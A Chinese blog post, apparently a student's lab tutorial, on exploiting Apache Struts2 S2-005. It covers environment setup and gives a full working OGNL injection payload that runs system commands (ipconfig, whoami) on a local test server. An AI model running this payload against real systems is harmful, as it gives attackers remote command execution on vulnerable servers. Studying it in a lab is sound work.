Struts-S2-005漏洞利用(含环境搭建、含POC)

2017-07-24  本文已影响0人  心如水_0b05

Struts-S2-005

此文仅供大家交流学习,严禁非法使用

一、参考网址:

https://www.waitalone.cn/struts2-command-exp.html

二、 影响版本:

Struts 2.0.0 - Struts 2.1.8.1

三、 漏洞介绍:

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

四、 环境搭建:

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

2.1.6_1.png
2.1.6_2.png 2.1.6_3.png 2.1.6_4.png 2.1.6_5.png

五、 POC:

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

六、 测试网址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
1.png

在后面加上payload,即

2.png

七、执行结果

3.png

执行成功
更改为命令为whoami,执行结果

4.png

提示下载文件,具体为什么,不清楚,下载后用notepad++查看

5.png

依然有需要的结果

八、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

上一篇下一篇

猜你喜欢

热点阅读